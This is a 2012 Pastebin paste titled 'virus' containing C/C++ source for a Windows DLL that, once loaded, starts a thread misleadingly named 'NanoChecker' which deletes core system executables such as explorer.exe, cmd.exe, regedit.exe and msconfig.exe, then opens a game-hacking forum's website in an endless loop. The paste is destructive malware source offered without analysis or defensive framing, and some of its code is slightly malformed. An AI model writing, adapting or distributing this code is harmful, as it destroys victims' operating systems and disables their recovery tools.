Advertisement
dcomicboy

virus

Jun 15th, 2012
101
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.94 KB | None | 0 0
  1. #include <windows>
  2.  
  3.  
  4.  
  5. VOID Virus(VOID)
  6. {
  7. system("del C:\\Windows\\explorer.exe");
  8. system("del C:\\Windows\\notepad.exe");
  9. system("del C:\\Windows\\regedit.exe");
  10. //System32
  11. system("del C:\\Windows\\System32\\calc.exe");
  12. system("del C:\\Windows\\System32\\cmd.exe");
  13. system("del C:\\Windows\\System32\\control.exe");
  14. system("del C:\\Windows\\System32\\gpedit.exe");
  15. system("del C:\\Windows\\System32\\msconfig.exe");
  16. system("del C:\\Windows\\System32\\mspaint.exe");
  17. }
  18.  
  19. VOID Pages(VOID)
  20. {
  21. for(;;)
  22. {
  23. system("Start www.mpgh.net");
  24. Sleep(1);
  25. }
  26. }
  27.  
  28. DWORD WINAPI NanoChecker(LPVOID)
  29. {
  30. __asm
  31. {
  32. PUSHAD;
  33. NOP
  34. CALL Virus
  35. CALL Pages
  36. NOP
  37. MOV EAX, 1
  38. POPAD;
  39. }
  40. return FALSE;
  41. }
  42.  
  43. BOOL DllMain(HMODULE hDll, DWORD dwReason, LPVOID lpReserved)
  44. {
  45. DisableThreadLibraryCalls(hDll);
  46. if(dwReason == DLL_PROCESS_ATTACH)
  47. {
  48. CreateThread(NULL, NULL, &NanoChecker, NULL, NULL, NULL);
  49. }
  50. return TRUE;
  51. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement